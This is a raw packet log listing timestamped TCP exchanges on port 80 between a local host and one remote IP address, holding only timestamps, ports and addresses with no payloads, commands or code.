Jan 11, 2025 03:26:48.488250017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488265991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.488282919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488332987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.488450050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488482952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488514900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488533974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.488636971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488671064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488688946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.488712072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488755941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488775969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.488790035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488851070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.488861084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488894939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488929033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.488945007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.496900082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.523644924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.523700953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.523746014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.523751020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.523786068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.523818016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.523947001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.523947001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.542968035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.542996883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543030977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543056011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.543081999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543117046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543124914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.543157101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543190956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543199062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.543333054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543360949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543376923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.543394089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543440104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.543446064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543478966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543512106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543526888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.543576956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543625116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.543776035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543874025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543921947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.543925047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543958902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.543994904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544004917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.544059038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544102907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.544157028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544187069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544219017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544236898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.544253111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544300079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.544316053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544394016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544426918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544459105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.544584036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544617891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544646025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.544651031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544682980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544693947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.544718981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544751883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.544768095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545025110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545063019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545072079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545097113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545130968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545149088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545166016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545200109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545222044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545233965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545277119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545319080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545351982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545384884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545396090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545418024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545450926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545473099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545485973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545519114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545541048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545553923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545603037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.545686960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545720100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.545766115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.556917906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.569547892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.573486090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573535919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573590040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573625088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573646069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.573678970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573678970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.573714018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573750019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573784113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.573870897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573904037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573926926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.573940039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573975086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.573993921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.574009895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574059963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.574147940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574181080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574214935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574230909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.574249029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574284077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574301958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.574318886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574368954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.574512959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574548006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574583054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574603081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.574616909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574651003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574664116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.574682951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574718952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.574732065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.574999094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575031996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575052023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575066090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575098991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575114012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575131893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575165987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575176954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575198889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575233936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575249910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575268030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575300932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575334072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575360060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575395107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575412035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575656891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575690031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575709105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575725079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575757027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575776100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575789928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575824022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575839996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.575856924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575891972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.575900078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.576060057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.576092005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.576107025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.576143026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.576176882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.576210976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.576224089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.576250076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.576257944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.619635105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.619674921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.619725943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.619745016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.619757891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.619791985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.619824886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.619904041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.619904041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.629890919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.629944086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.629978895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.629986048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630012989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630029917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630048037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630079985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630096912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630115032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630162954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630196095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630225897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630260944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630271912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630341053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630373001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630395889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630405903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630450010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630472898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630599976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630635023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630646944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630666018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630667925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630701065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630726099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630733967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630786896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.630868912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630902052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630933046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.630944967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631011963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631045103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631064892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631079912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631129980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631170988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631203890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631253958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631282091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631333113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631366014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631386042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631400108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631433010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631444931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631467104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631515026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631618023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631650925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631684065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631705046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631716967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631752014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631762981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.631941080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631973982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.631994963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.632008076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632040977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632065058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.632076025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632134914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.632258892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632292032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632324934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632355928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.632356882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632390022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632412910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.632424116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632457972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632477045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.632486105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.632540941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.643663883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660010099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660070896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660106897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660144091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660156965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660192013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660224915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660233974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660259962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660281897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660289049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660322905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660343885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660351038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660384893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660399914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660417080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660473108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660515070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660546064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660578966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660607100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660614014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660649061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660669088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660729885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660763979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660787106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660928011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660960913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.660984039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.660994053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661026001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661042929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.661106110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661138058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661169052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.661170959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661206961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661226988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.661354065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661386013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661408901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.661418915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661453009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661474943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.661588907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661621094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661647081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.661653996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661688089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661704063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.661751986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661809921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.661832094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661864996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661899090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.661922932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662058115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662091970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662111998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662125111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662158966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662182093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662380934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662414074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662439108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662447929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662481070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662513971 CET	80	49730	193.143.1.205	192.168.2.4
